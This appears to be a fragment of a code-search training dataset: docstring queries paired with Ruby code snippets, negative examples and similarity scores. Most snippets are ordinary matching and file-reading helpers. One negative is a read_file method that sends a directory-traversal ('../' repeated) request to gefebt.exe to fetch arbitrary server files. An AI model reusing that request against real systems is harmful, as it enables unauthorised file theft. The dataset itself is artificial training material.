pattern, page: page)\n uids.any? ?\n [ page['title'], uids ] :\n nil\n }.compact\nend", "def my_array_finding_method(source, thing_to_find)\n # final_array = []\n # source.each do |word|\n # if word.class == thing_to_find.class && word.include?(thing_to_find) == true\n # final_array << word\n # end\n # end\n # return final_array\n ###### refactor\n return source.grep(/#{ thing_to_find }/)\nend", "def if_match(teams, start)\n\tmatch = Array.new\n\ttest = FuzzyStringMatch::JaroWinkler.create( :native )\n\twhile start < RC_C.num_rows\n\t\tteams.each do |team|\n\t\t\ti = test.getDistance(team, RC_C.rows[start][1])\n\t\t\tif i > 0.65\n\t\t\t\tmatch.push(team)\n\t\t\t\t# puts \"match, #{team} matches #{RC_C.rows[start][1]}\"\n\t\t\tend\n\t\tend\n\t\tstart += 1\n\tend\n\treturn match\nend", "def match(array)\n array.select{|word|word.split(\"\").sort == @word.sort}\n end", "def matching_keys(name)\n matched_keys = []\n @all_se.each_key do |k|\n if /#{name}/.match(k)\n matched_keys << k\n end\n end\n matched_keys\n end", "def match_strings(matched_lines)\n matched_strings = []\n\n matched_lines.each do |line|\n check_patterns.each do |pattern|\n line.scan(pattern).each do |matched|\n matched_strings += matched\n end\n end\n end\n\n return matched_strings\n end", "def my_array_finding_method(source, thing_to_find)\n found=[]\n source.each do |find|\n if find.to_s.include?(thing_to_find)\n found.push(find)\n end\n end\n return found\nend", "def grep(pattern, &block)\n ary = []\n self.each{|*val|\n sv = val.__svalue\n if pattern === sv\n ary.push((block)? block.call(*val): sv)\n end\n }\n ary\n end", "def match(*list)\n @match.concat(makelist(list)) unless list.empty?\n @match\n end", "def find_matches(req, screen_res)\n matches = []\n MATCHER_METHODS.each do |method|\n id = self.send(method, req, screen_res)\n matches << id if id\n end\n matches += match_devices(req, screen_res)\n # sort from high confidence to low confidence\n matches.sort! {|x,y| y.confidence <=> x.confidence }\n end", "def match\n @match\n end", "def match_array(input)\n case input\n in [a, b, c]\n \"matching - #{a}, #{b}, #{c}\"\n else\n \"no match\"\n end\nend", "def match(anagram_array)\n anagram_array.select do |word|\n if @word.split(//).sort == word.split(//).sort \n @@words << word \n end\n end \n end", "def search(pattern_to_match)\n results = []\n caches = source_index_hash\n caches.each do |cache|\n results << cache[1].search(pattern_to_match)\n end\n results\n end", "def matcher(match)\n match = match.flatten.uniq\n match.each do |m|\n @counter.count(m)\n end\n end", "def search(query)\n @all.each_with_object([]) do |record, matches|\n matches << record if ((record['866']['t'] == query) || (record['866']['s'] == query))\n end\n end", "def search(match, options={})\n all = options[:all]\n\n matches = []\n\n each do |name, libs|\n case libs\n when Array\n libs = [libs.max] unless all\n else\n libs = [libs]\n end\n\n libs.sort.each do |lib|\n matches.concat(lib.search(match))\n end\n end\n\n matches.uniq\n end", "def search_search(exploits_array, query)\n search_results=[]\n exploits_array.each do |line|\n line = line.unpack('C*').pack('U*') if !line.valid_encoding?\n if query == 'nil'\n search_results << line\n else\n search_results << line if line =~ /#{query}/i\n end\n end\n return search_results\nend", "def search(pattern, search_constraints=nil)\n matches = []\n @entries_mutex.synchronize do\n @entries.each do |aid, agent_description|\n matches << agent_description if agent_description.matches? pattern\n end\n end\n matches\n end", "def matches\n process_events! unless @matches\n @matches\n end", "def match(values, match, index)\n values.flat_map do |v|\n v.match(match) do |m|\n m[index]\n end\n end\n end", "def match(anagram_ary)\n match_ary = []\n anagram_ary.each do |anagram|\n if word.split('').sort == anagram.split('').sort\n match_ary << anagram\n end\n end\n match_ary\n end", "def get_matches\n if has_matches?\n @matches = @local_swimmer.meeting_programs\n .sort_by_date('DESC')\n .joins(:meeting, :event_type)\n .includes(:meeting, :event_type)\n .where([\n 'exists (select 1 from meeting_individual_results mir join swimmers s on s.id = mir.swimmer_id where s.id = ? and mir.meeting_program_id = meeting_programs.id)',\n @visitor_swimmer.id\n ])\n end\n end", "def my_array_finding_method(source, thing_to_find)\n result = source.select{ |word| word.to_s.include? (thing_to_find) }\n result\nend", "def my_array_finding_method(source, thing_to_find)\n answer = Array.new\n source.each do |x|\n if x.to_s.include?(thing_to_find)\n answer << x\n end\n end\n p answer\nend", "def match(words)\n#iterate over the array of words that the .match method takes as an argument.\n words.select do |word|\n is_anagram?(word)\n end\n end", "def matches(s, re)\r\n start_at = 0\r\n matches = [ ]\r\n while(m = s.match(re, start_at))\r\n matches.push(m)\r\n start_at = m.end(0)\r\n end\r\n return matches\r\n end", "def find_a (array)\n new_array=[]\n array.select{|word| \n word.start_with?(\"a\") \n }\nend", "def identify(result)\n matchers.inject([]) do |hits, matcher|\n instance = matcher.new(result)\n hits << instance if instance.match?\n hits\n end\n end", "def get_matches(word)\n cur = self\n word.each_char do |character|\n modified_char = @@vowels.include?(character) ? '*' : character\n return Set.new if not cur.kids.has_key? modified_char\n cur = cur.kids[modified_char]\n end\n cur.words_here\n end", "def matchers\n @matchers ||= []\n end", "def match(anagrams)\n anagrams.each do |array_word|\n if @word.split(\"\").sort == array_word.split(\"\").sort\n @final_array << array_word\n end\n end\n @final_array\n end", "def matching_lines(regex); end", "def match(data)\n data_captures = @argument_match_data.captures.map(&:downcase)\n data.select do |x|\n joined_values = x.values.join(' ').downcase\n data_captured = data_captures.map { |data_capture| joined_values.include?(data_capture) }\n data_captured.reject{|x_data| !x_data }.length == data_captures.length\n end\n end", "def array_of_elements_match?(elements:, ids:, expectation:)\n actual = ids.map { |id| elements[id].text }\n actual.should =~ expectation\nend", "def hashes_for(*args)\n return matches_for(*args).map { |match| match.hash }\n end", "def qualified_candidates (collection)\n match=[]\n \n collection.each do |x|\n if years_of_experience(x[:years_of_experience]) && github_points(x[:github_points]) && knowledge(x[:languages]) && applied_time(x[:date_applied]) && old_enough(x[:age])\n match << (x)\n end\n end\n\n match\nend", "def search\n data.select { |raw| raw.values.join(',').match?(/#{search_query}/) }\n end", "def get_matching_indices pattern\n matches = []\n @obj.content.each_with_index { |e,i| \n # convert to string for tables\n e = e.to_s unless e.is_a? String\n if e =~ /#{pattern}/\n matches << i\n end\n }\n return matches\n end", "def find_multiple_bays(hash,item_array)\n bays=Array.new\n\n #loop round the array of items\n for item in item_array\n\n #for each item, go looking for a match\n for key,value in hash \n\n if value[:item] == item\n #If we find a match, shovel into the return array\n bays << key\n end\n end\n\n end\n return bays\n\nend", "def matches\n @calls\n end", "def find_shared_matchups\n ChampionGGApi::MATCHUP_ROLES.values.inject([]) do |shared_matchups, matchup_role|\n matchups = Cache.get_champion_matchups(@name1, matchup_role, @elo)\n shared_matchups.tap do\n if matchups && matchup = matchups[@name2]\n shared_matchups << matchup\n end\n end\n end\n end", "def match(array)\n array.select {|word| word.chars.sort.join == self.word.chars.sort.join}\n \n\nend", "def bubble_up_exact_matches(result_list:, term:)\n matches_at_beginning = []\n matches_within = []\n other_items = []\n match_term = term.downcase\n result_list.each do |result_item|\n next if result_item.blank?\n\n name = result_item['name'].downcase\n if name.start_with?(match_term)\n matches_at_beginning << result_item\n elsif name.include?(match_term)\n matches_within << result_item\n else\n other_items << result_item\n end\n end\n matches_at_beginning + matches_within + other_items\n end", "def my_array_finding_method(source, thing_to_find)\n i = 0\n t = 0\n output_array = []\n while i < source.length\n if source[i].to_s.include?(thing_to_find)\n output_array[t] = source[i].to_s\n t += 1\n end\n i +=1\n end\n return output_array\nend" ]
[ "0.76751834", "0.7140465", "0.7037351", "0.68132055", "0.6737035", "0.66074365", "0.6540651", "0.63843465", "0.6317616", "0.6303691", "0.6242522", "0.6242522", "0.6242522", "0.6242522", "0.6242522", "0.6242522", "0.62301064", "0.62136096", "0.6174493", "0.61596924", "0.6111895", "0.6110519", "0.61081034", "0.6096297", "0.607923", "0.6073508", "0.60730547", "0.6071726", "0.60489786", "0.60425335", "0.60305953", "0.60191745", "0.60056996", "0.5993377", "0.59906054", "0.59576374", "0.59421045", "0.594064", "0.59399843", "0.593689", "0.5906542", "0.5893693", "0.5888537", "0.58867705", "0.58850557", "0.58785415", "0.5877142", "0.5868807", "0.58450973", "0.5819961", "0.5819961", "0.5818032", "0.58113027", "0.5810605", "0.58097714", "0.57988256", "0.5793847", "0.5787109", "0.5774659", "0.5772455", "0.57667845", "0.576279", "0.5762435", "0.5758779", "0.57438695", "0.57400984", "0.57384694", "0.5731583", "0.57309115", "0.5725311", "0.57248783", "0.57234424", "0.57144225", "0.5707943", "0.5707899", "0.56908846", "0.56880826", "0.56840324", "0.5683503", "0.56815606", "0.56810933", "0.56779546", "0.5668355", "0.5657945", "0.56574166", "0.565652", "0.5647482", "0.564291", "0.5640283", "0.56350434", "0.56336755", "0.56261694", "0.5619567", "0.5614669", "0.56087935", "0.56045866", "0.55980897", "0.5598023", "0.55948293", "0.55911607", "0.55888706" ]
0.0
-1
set definition and create events
def definition_attributes=(definition_attributes) self.definition = ActivityDefinition::BaseActivityDefinition.from_attributes definition_attributes self.create_events_from_definition end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create_events\n end", "def events=(_); end", "def add_events(new_events); end", "def create_event(&blk)\n setup_event(Event.new, &blk)\n end", "def create_event(&blk)\n setup_event(Event.new, &blk)\n end", "def events; end", "def events; end", "def events; end", "def events; end", "def events; end", "def events; end", "def events; end", "def events; end", "def definition(definition_name)\n @definition_name = definition_name\n end", "def on(definition, &block)\n create_active(definition)\n call_block(&block)\n end", "def event *names, &blk\n names.each do |name|\n Bot::Events.create name, self, nil, &blk\n end\n end", "def definitions; end", "def definitions; end", "def define_state_or_event klass, collection, name, options={}, &block\n name = name.to_sym\n req = nil\n msg = nil\n options.symbolize_keys!\n\n # allow requirements and messages to be added as options\n if k = [:requires, :guard, :must, :must_be, :needs].detect {|k| options.has_key?(k) }\n # Logging.debug(\"removing option #{k} - will use as requirement ..\")\n req = options.delete(k)\n msg = options.delete(:message) || options.delete(:msg)\n raise ArgumentError unless msg.nil? || req.is_a?(Symbol)\n raise ArgumentError unless ([req, msg].map(&:class) - [String, Symbol, Proc, NilClass]).empty?\n end\n # TODO? allow hooks to be defined as options\n\n unless state_or_event = collection[name]\n state_or_event = klass.new machine, name, options\n collection << state_or_event\n end\n\n apply_to state_or_event, options, &block\n\n if req # install requirements\n state_or_event.requirements << req\n machine.requirement_messages[req] = msg if msg\n end\n\n state_or_event\n end", "def definition_builder; end", "def definition_builder; end", "def on_defs(node); end", "def send_events; end", "def create_event(options={})\n\t\t\tEvent.create({\n\t\t\ttitle: \"Event's name\",\n\t\t\tlocal: \"Event's local\",\n\t\t\tdescription: \"Event's test description\",\n\t\t\tstart_time: DateTime.now,\n\t\t\tend_time: 2.days.from_now\n\t\t\t}.merge(options))\n\t\tend", "def init_event_holders\n @txtout_events = Array.new\n @resmon_events = Array.new\n end", "def define_event_helpers; end", "def register_events(klass, state, other_params, &exec_block)\n @klass_being_defined = klass\n @state_being_defined = state\n\n # if an initial state has not been set, then set it. In practice, means the first state definition\n # gets the initial state.\n @cfsm_initial_state[ klass ] = state unless @cfsm_initial_state[ klass ]\n\n # Evaluate the transition definitions\n self.instance_eval( &exec_block ) if exec_block\n\n @klass_being_defined = nil\n @state_being_defined = nil\n @other_params = other_params\n end", "def events\n end", "def initialize_events # :nodoc:\n\t # Create all event generators\n\t bound_events = Hash.new\n\t model.each_event do |ev_symbol, ev_model|\n ev = TaskEventGenerator.new(self, ev_model)\n ev.plan = plan\n\t\tbound_events[ev_symbol.to_sym] = ev\n\t end\n\t @bound_events = bound_events\n end", "def initialize(definition_set, number, introduced, options = { }, &block)\n raise ArgumentError, \"You must pass a DefinitionSet, not #{definition_set.inspect}\" unless definition_set.kind_of?(::MetaEvents::Definition::DefinitionSet)\n raise ArgumentError, \"You must pass a version, not #{number.inspect}\" unless number.kind_of?(Integer)\n\n @definition_set = definition_set\n @number = number\n @introduced = Time.parse(introduced)\n @categories = { }\n\n options.assert_valid_keys(:retired_at, :property_separator)\n\n @retired_at = Time.parse(options[:retired_at]) if options[:retired_at]\n @property_separator = options[:property_separator] || DEFAULT_PROPERTY_SEPARATOR\n\n instance_eval(&block) if block\n end", "def set_eventable\n if event_params.has_key?('eventable')\n eventable = JSON.parse(event_params['eventable'])\n @event = Event.new(event_params.except!('eventable'))\n @event.eventable_type = eventable.first\n @event.eventable_id = eventable.last\n else\n @event = Event.new(event_params)\n end\n end", "def setup(options = {})\n setup_events(options)\n setup_broadcast\n end", "def set(definition)\n @definitions[definition.name] = definition unless definition.empty?\n self\n end", "def initialize(options = { }, &block)\n @global_events_prefix = nil\n @versions = { }\n\n options.assert_valid_keys(:global_events_prefix, :definition_text)\n\n global_events_prefix options[:global_events_prefix] if options[:global_events_prefix]\n\n @source_description = \"passed-in data/block\"\n\n if (source = options[:definition_text])\n if source.kind_of?(String)\n File.open(File.expand_path(source)) { |f| read_from(f) }\n else\n read_from(source)\n end\n end\n\n instance_eval(&block) if block\n\n if global_events_prefix.blank?\n raise ArgumentError, \"When reading events from #{@source_description}: you must declare a global_events_prefix, or else pass one to the constructor\"\n end\n end", "def setup()\n \n # validates the hook token\n beef_hook = @data['beefhook'] || nil \n if beef_hook.nil?\n print_error \"[EVENTS] beef_hook is null\"\n return\n end\n\n # validates that a hooked browser with the beef_hook token exists in the db\n zombie = Z.first(:session => beef_hook) || nil\n if zombie.nil?\n print_error \"[EVENTS] Invalid beef hook id: the hooked browser cannot be found in the database\"\n return\n end\n \n events = @data['results']\n\n # push events to logger\n if (events.kind_of?(Array))\n logger = BeEF::Core::Logger.instance\n events.each{|e|\n logger.register('Event', parse(e), zombie.id)\n }\n end\n\n end", "def generate_event_set(events)\n usable_events = self.find_usable_events(events)\n self.new_event_set(usable_events)\n end", "def call(events)\n events.each { |event| Rails.configuration.gcal_service.insert_event('primary', event) }\n\tend", "def events=(value)\n @events = value\n end", "def initialize(name)\n @events = []\n @name = name\n end", "def initialize_events # :nodoc:\n # Create all event generators\n bound_events = {}\n model.each_event do |ev_symbol, ev_model|\n ev = TaskEventGenerator.new(self, ev_model)\n ev.plan = plan\n bound_events[ev_symbol.to_sym] = ev\n end\n @bound_events = bound_events\n end", "def definition_tag(definition); end", "def triggers\n\n end", "def set_definition\n @definition = Definition.find(params[:id])\n end", "def set_definition\n @definition = Definition.find(params[:id])\n end", "def set_definition\n @definition = Definition.find(params[:id])\n end", "def define &blk\n self.instance_eval(&blk)\n end", "def set_event_values\n self.domain ||= self.class.event_domain\n end", "def setup_starting_event\r\n # Refresh the event page when switch/variable was changed\r\n $game_map.refresh if $game_map.need_refresh\r\n # Start common event if required\r\n if $game_temp.common_event_id > 0\r\n setup($data_common_events[$game_temp.common_event_id].list, 0)\r\n $game_temp.common_event_id = 0\r\n return\r\n end\r\n # Try to start an event\r\n $game_map.events.each_value do |event|\r\n next unless event.starting\r\n if event.trigger < 3\r\n event.clear_starting\r\n event.lock\r\n end\r\n return setup(event.list, event.id)\r\n end\r\n # Try to start a common event\r\n $data_common_events.each do |common_event|\r\n next unless common_event&.trigger == 1 && $game_switches[common_event.switch_id]\r\n return setup(common_event.list, 0)\r\n end\r\n end", "def register_events\n EventReactor.sub(:trade_cleared, &method(:trade_cleared))\n EventReactor.sub(:round_change, &method(:change_round))\n EventReactor.sub(:ask_posted, &method(:ask_posted))\n EventReactor.sub(:bid_posted, &method(:bid_posted))\n end", "def create_documents(type_identifier, events); end", "def initialize\n @definitions = {}\n end", "def create_trigger(table_name, proc_name, event, options = {})\n\n end", "def build_event_registry\n Jace::Registry.new.tap do |registry|\n registry.register(:save, :after, &after_save)\n registry.register(:save, :before, &before_save)\n end\n end", "def editorSetEventHandler _obj, _args\n \"_obj editorSetEventHandler _args;\" \n end", "def add_trigger(table, events, options={})\n events += [:row] if options.delete(:row)\n events += [:before] if options.delete(:before)\n trigger = TriggerDefinition.new(0, table, options[:name], events, options[:function])\n execute trigger.to_sql_create\n end", "def add_trigger(table, events, options={})\n events += [:row] if options.delete(:row)\n events += [:before] if options.delete(:before)\n trigger = TriggerDefinition.new(0, table, options[:name], events, options[:function])\n execute trigger.to_sql_create\n end", "def initialize(definition)\n @definition = definition\n end", "def init_events\n @events = Events.new\n add_event(:quit, :close){ break_mainloop }\n add_event(:key_down, :close){|e| break_mainloop if e.sym == Key::ESCAPE }\n end", "def setup_definition(mode)\n source_definition = sources_dir.join(\"#{mode}_definition.rb\")\n log.info \"Using definition #{source_definition}\"\n FileUtils.cp(source_definition, definition_path)\n end", "def create_work_event\n\t\n end", "def set_objects\n\n @eventOwnerMenuList = Event.scp_postOwner_menu\n @catMenuList = EventCategory.scp_category_menu\n\n end", "def initialize(&block)\n @triggers = []\n self.instance_eval(&block)\n end", "def setup(list, event_id = 0)\n clear # Clear internal interpreter state\n @map_id = $game_map.map_id # Memorize map ID\n @original_event_id = event_id # Memorize event ID\n @event_id = event_id # Memorize event ID\n @list = list # Memorize execution contents\n @index = 0 # Initialize index\n cancel_menu_call # Cancel menu call\n end", "def run\n ## self.download_events\n files = prepare_files\n events = parse_events(files)\n save_events(events)\n end", "def set_events(event_types = EventType.are_not_relays.for_fin_calculation)\n @event_types = event_types\n end", "def event_change\n\t\n\tend", "def send_events=(_arg0); end", "def setup_vars_for_edit(tl)\n if tl.events.nil?\n event_ids = []\n else\n event_ids = tl.events.split(\",\").map { |s| s.to_i }\n end\n @events = get_events_from_id_array(event_ids)\n if !@events.nil? && @events.length > 0\n @events.sort!{ |a,b| a.jd <=> b.jd }\n end\n \n #This is needed for proper UI rendering in case somebody \n #goes to 'add new event to timeline' section.\n @event_tags_json = \"[]\"\n \n \n @timeline_tags_json = \"[\" +\n tl.tags.split(\",\").map {|t| \"{id: 1, name: \\\"#{t.strip}\\\" }\" }.join(\",\") +\n \"]\" \n end", "def definition_setup\n begin_with if respond_to?(:begin_with)\n initialize_page if respond_to?(:initialize_page)\n initialize_region if respond_to?(:initialize_region)\n initialize_regions\n end", "def make_event_hooks\n @event_handler = GlobalEventHandler.new @clock\n \n hooks = {\n MouseMoveTrigger.new( :none ) => :mouse_moved,\n InstanceOfTrigger.new(InvadingEvent) => :enemy_missed,\n InstanceOfTrigger.new(DeadEvent) => :enemy_defeated,\n InstanceOfTrigger.new(UpgradeEvent) => :tower_upgrade,\n :mouse_left => :create_tower,\n :escape => :quit,\n :q => :quit,\n QuitRequested => :quit\n }\n\n make_magic_hooks( hooks )\n end", "def setup\n create_three_track_objects\n create_three_event_objects\n add_track_ids_to_event_objects\n end", "def create_events\n # Create the toot Event\n Event.create(user: author, action: 'toot', subject: self)\n # Find any mentions contained in the Toot and create an event for each\n body.scan(/(?:@)(\\w+)/) do |handle|\n Event.create(initiator: User.find_by(handle: handle), action: 'mentioned', subject: self)\n end\n end", "def definition\n super\n end", "def definition\n super\n end", "def create_google_calendar_event(params)\n event = cal.create_event do |e|\n e.title = params[:title]\n e.start_time = params[:start_time]\n e.end_time = params[:end_time]\n end\n end", "def event_requirement; end", "def create\n megam_rest.post_event(to_hash)\n end", "def set_defaults\n super\n self.asset_event_type ||= AssetEventType.find_by_class_name(self.name)\n\n self.from_line ||= transam_asset.try(:from_line)\n self.from_segment ||= transam_asset.try(:from_segment)\n self.to_line ||= transam_asset.try(:to_line)\n self.to_segment ||= transam_asset.try(:to_segment)\n self.segment_unit ||= transam_asset.try(:segment_unit)\n self.from_location_name ||= transam_asset.try(:from_location_name)\n self.to_location_name ||= transam_asset.try(:to_location_name)\n self.event_datetime ||= DateTime.now\n\n if self.start_datetime && self.state == 'started' && !self.new_record?\n unless self.start_datetime <= DateTime.now && (self.end_datetime.nil? || DateTime.now <= self.end_datetime)\n fire_state_event(:closeout)\n\n event = WorkflowEvent.new\n event.creator = User.find_by(first_name: 'system')\n event.accountable = self\n event.event_type = 'closeout'\n event.save\n end\n end\n end", "def fire_events!(*events); end", "def set_event(id)\n @event = Event.find(id)\n end", "def initialize_order_events\n @order_events = %w{approve cancel resume}\n end", "def after_create(obj); end", "def definitions=(value)\n @definitions = value\n end", "def update_definition(definition) update_attribute(:descriptor, definition) end", "def define_listening\n end", "def setup(server)\n @server = server\n @server.on('beforeMethod', method(:before_method))\n @server.on('beforeCreateFile', method(:before_create_file))\n end", "def initialize(events)\n @events = events\n end", "def initialize(base)\n @base = base\n @events = []\n end", "def on_def(node)\n add_scope(node)\n end", "def on_create(evt=nil)\n update_dimensions()\n @started = true\n end", "def new_event(data = {}, target_namespace: nil, event_factory: self.event_factory)\n return event_factory.new_event(data) unless target_namespace\n\n # NOTE: might be more performant to create event using all data and use move_event_data helper\n init_data = data.select { |key, _| key.start_with?('@') || key.start_with?('[@') } # @timestamp, [@metadata][foo]\n event = event_factory.new_event(init_data)\n target = '[' + target_namespace.split(/\\[(.*)\\]/).join + ']'\n data.slice(*(data.keys - init_data.keys)).each do |key, val|\n key = \"[#{key}]\" unless key.index('[')\n event.set(target + key, val)\n end\n event\n end", "def initialize(definition)\n register(definition)\n load_flags\n load_movement\n end", "def initialize(name, definition)\n @name = name\n @definition = definition\n end", "def init_on_create(*)\n self._classname = self.class.to_s\n write_default_attributes\n write_changed_attributes\n clear_changes\n end", "def set_event\n @event = @host.events.find(params[:id])\n end", "def prepare_create document\n raise Error.new('Events must be Hash-like to create') unless document.is_a?(Hash)\n document.symbolize_keys!\n receive!(time: document.delete(:time), body: document)\n self\n end", "def def_hooks(*events)\r\n events.each { |event| def_hook(event) }\r\n end", "def create_definition(style); end", "def define\n end", "def define\n end" ]
[ "0.65046895", "0.6180855", "0.60372907", "0.6009934", "0.6009934", "0.59186745", "0.59186745", "0.59186745", "0.59186745", "0.59186745", "0.59186745", "0.59186745", "0.59186745", "0.581807", "0.57004666", "0.5691634", "0.56817555", "0.56817555", "0.56667155", "0.5655269", "0.5655269", "0.56449544", "0.5642218", "0.56420213", "0.563906", "0.5635821", "0.5617385", "0.56150085", "0.5613496", "0.5554479", "0.55283195", "0.55257136", "0.5511173", "0.5498958", "0.54881877", "0.54716986", "0.5466178", "0.5461144", "0.5449975", "0.5447058", "0.54288596", "0.54258114", "0.5423267", "0.5423267", "0.5423267", "0.54208696", "0.54186314", "0.54082876", "0.54012716", "0.5398203", "0.5393172", "0.5391522", "0.5387411", "0.5385693", "0.538274", "0.538274", "0.5367932", "0.5364385", "0.53581035", "0.5356507", "0.53220046", "0.5321833", "0.5316719", "0.53081465", "0.52908176", "0.5258403", "0.525794", "0.52569455", "0.5256691", "0.5254014", "0.52537715", "0.52535796", "0.52491844", "0.52491844", "0.5237033", "0.52347815", "0.52296907", "0.5227516", "0.52262896", "0.52235615", "0.52162176", "0.5210863", "0.5207762", "0.52073354", "0.5195868", "0.5191349", "0.51823926", "0.51786", "0.51746345", "0.51707333", "0.51684767", "0.5162082", "0.5159131", "0.5154052", "0.51524186", "0.5149554", "0.51370883", "0.51280177", "0.5126452", "0.5126452" ]
0.63819176
1
Reads the contents of the file from Cloud Files === Returns [String] contents of the file
def read object.content end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def contents\n\t\tfin = File.new(@filename,'r')\n\t\tc = fin.read\n\t\tfin.close\n\t\treturn c\n\tend", "def get_file_contents(file_path)\n input_file = File.open(file_path, 'r')\n input_file_contents = input_file.read\n input_file.close\n input_file_contents\n end", "def contents\n file_upload.read\n end", "def read_contents\n\t\treturn File.open(self.file_name).read.lines.map(&:chomp) if self.file_name\n\tend", "def read\n file.read\n end", "def raw_contents\n File.read(path)\n end", "def file_content(path)\n cont = \"\"\n File.open(path) do |fil|\n cont = fil.read\n end\n cont\nend", "def contents\n # give the string contents of the file\n @file.seek 0\n @file.read @filesize\n end", "def content\n\t\tif(File.file? filename)\n\t\t\tIO.readlines(filename).join ''\n\t\telse\n\t\t\t\"\"\n\t\tend\n\tend", "def read_file(file_name)\n begin\n content = File.open(file_name).read\n return content\n rescue\n raise\n end\n end", "def content\n return IO.read(@file)\n end", "def getFileContents(file)\n fileContent = \"\";\n File.open(file).each do |line|\n fileContent += line;\n end\n fileContent;\nend", "def contents\n File.read(path) if exists?\n end", "def read file\n File.open file\n end", "def load_file_contents(file)\n File.open(file, 'r').read\n end", "def contents\n\t\tconnection.file_contents(full_path)\n\tend", "def contents\n\t\tconnection.file_contents(full_path)\n\tend", "def read\n file\n end", "def contents\n read\n end", "def contents\n file_content = self.class.mongo_client.database.fs.find_one(:_id=>BSON::ObjectId.from_string(@id))\n if file_content\n buffer = \"\"\n file_content.chunks.reduce([]) do |x,chunk|\n buffer << chunk.data.data\n end\n return buffer\n end\n end", "def get_file_contents(file_path)\n input_file = File.open(file_path, 'r')\n input_file_contents = input_file.read\n input_file.close\n input_file_contents.split(\"\\n\")\n end", "def read_file(file_path)\n return nil unless File.exist?(file_path)\n\n buf = ''\n\n File.open(file_path, 'rb') do |f|\n buf = f.read\n end\n\n buf\n end", "def readContents(filename)\r\n file = File.open(filename)\r\n contents = \"\"\r\n file.each { |line|\r\n contents << line\r\n }\r\n contents\r\nend", "def getContentsFromFile filetoread\n return File.read(Dir.pwd + '/' + filetoread)\nend", "def getContentsFromFile filetoread\n return File.read(Dir.pwd + '/' + filetoread)\nend", "def get_file_contents(fname)\n f_h = File.open(fname,'r')\n readbuf = f_h.read()\n# puts \"Read #{readbuf.length()} bytes from #{fname}.\"\n f_h.close()\n return readbuf\nend", "def _get_file_contents(file)\n raise InvalidPath, \"connection file doesn't exist\" unless File.file?(file)\n _parse File.read(file)\n end", "def read_file(path)\n response = with_remote do |http|\n http.get(path)\n end\n response.body\n end", "def read\n @contents ||= File.read @src_path if readable?\n end", "def read_file(path)\n api.read_file container_name, path\n end", "def read_content(repo, ref, file)\n Base64.decode64(connection.contents(\"#{organization}/#{repo}\", path: file, ref: ref).content)\n end", "def read_file(filename)\n\tfile = File.new(filename, \"r\")\n\tcontent = \"\"\n\tbegin\n\t\twhile (line = file.readline)\n\t\t\tcontent += line\n\t\tend\n\trescue EOFError\n\t\tfile.close\n\tend\n\treturn content.strip\nend", "def content\n file = Store::File.find_by(id: store_file_id)\n if !file\n raise \"No such file #{store_file_id}!\"\n end\n\n file.content\n end", "def get\n File.read(path)\n end", "def read\n object = bucket.objects.find(@path)\n object.content\n end", "def getRawFileContents(path)\n rtn = ''\n\n begin\n file = File.open(path, 'r')\n file.each{|line|\n rtn += line.strip() + ' '\n }\n rescue\n return ''\n end\n\n return rtn\nend", "def read_file(file, context)\n File.read(file)\n end", "def [](file_name)\n path = absolute_path_to_file(file_name)\n return nil unless File.exist?(path)\n File.read(path)\n end", "def read_file(file)\n File.read(file)\n end", "def read_file(file)\n File.read(file)\n end", "def file_contents_on(host, file_path)\n file_contents = nil\n\n split_path = win_ads_path(file_path)\n if file_exists_on(host, split_path[:path])\n if host[:platform].include?('windows')\n file_path.tr!('/', '\\\\')\n\n command = %{Get-Content -Raw -Path #{file_path}}\n command += %{ -Stream #{split_path[:ads]}} if split_path[:ads]\n\n file_contents = on(host, powershell(command))&.stdout&.strip\n else\n file_contents = on(host, %(cat \"#{file_path}\"))&.stdout&.strip\n end\n else\n logger.warn(\"File '#{file_path}' on '#{host} does not exist\")\n end\n\n return file_contents\n end", "def text\n\t\t\t\t::File.open(self.start.file, \"r\") do |file|\n\t\t\t\t\tfile.seek(self.start.offset)\n\t\t\t\t\treturn file.read(self.bytesize)\n\t\t\t\tend\n\t\t\tend", "def file_content\n self.lines.join\n end", "def read\n File.read(file_name)\n rescue Errno::ENOENT\n # ignore, will return nil\n end", "def read_file(path)\n file_contents = []\n File.open(path).each { |line| file_contents << line }\n\n file_contents\n end", "def raw\n content = ''\n File.open(path) { |f| content = f.read }\n content\n rescue IOError\n raise \"cannot open #{path}\"\n end", "def read_file(path)\n File.read(path)\n end", "def file_data\n @client.get_file @file_url\n end", "def read_text(filename); end", "def read_content(name, resource)\n read(name, resource) do |file|\n if file.header.typeflag == \"2\"\n return read_content(name, File.absolute_path(file.header.linkname,File.dirname(resource)))\n end\n if file.header.typeflag != \"0\"\n raise NotAFile.new(\"not a file\", {'path' => resource})\n end\n return file.read\n end\n end", "def content\n @content = File.read(path)\n end", "def read\n File.read(uploaded.path)\n end", "def file_contents(full_path)\n\t\t::File.read(full_path)\n\trescue Errno::ENOENT\n\t\traise Rush::DoesNotExist, full_path\n\tend", "def file_contents(full_path)\n\t\t::File.read(full_path)\n\trescue Errno::ENOENT\n\t\traise Rush::DoesNotExist, full_path\n\tend", "def read_file(file_name)\n file = File.open(file_name, \"r\")\n data = file.read\n file.close\n return data\nend", "def read_file(file)\n File.read(file)\nend", "def get_string_from_file(filename)\n File.open(filename, \"rb\") do |f|\n return f.read\n end\nend", "def content\n return @content if @content\n\n @content = @ftp.gettextfile(@filename, nil)\n\n @content\n end", "def read_request(client, filename)\n aFile = File.open(filename, 'r')\n if aFile\n contents = File.read(filename)\n client.puts \"\\n\\nCONTENTS OF #{filename}\\n*****************\\n\\n#{contents}\\n\\n*****************\\nEND OF #{filename}\"\n else\n client.puts \"ERROR: Unable to open file #{filename}\\nEND OF\"\n end\n aFile.close\n return\n end", "def read_file(file)\n travs = \"\"\n travs << \"../\" * datastore['DEPTH']\n travs << file\n\n print_status(\"#{@peer} - Retrieving file contents...\")\n\n connect\n req = \"GET #{normalize_uri(target_uri.path, \"gefebt.exe\")}?substitute.bcl+FILE=#{travs} HTTP/1.0\\r\\n\\r\\n\"\n sock.put(req)\n res = sock.get_once\n disconnect\n\n if res and res =~ /HTTP\\/1\\.0 200 OK/\n return res\n else\n return nil\n end\n\n end", "def get\n file\n end", "def readFile(fileName)\n begin\n fContent = File.open(fileName).read\n rescue DefaultException => e\n puts \"Reading repository file failed :#{fileName}\"\n end\n end", "def parse_file\n @filecontent ||= File.read(@filepath)\n end", "def read_file_source\n %Q|\n var readFile = function(path) {\n try {\n var file = Components.classes[\"@mozilla.org/file/local;1\"]\n 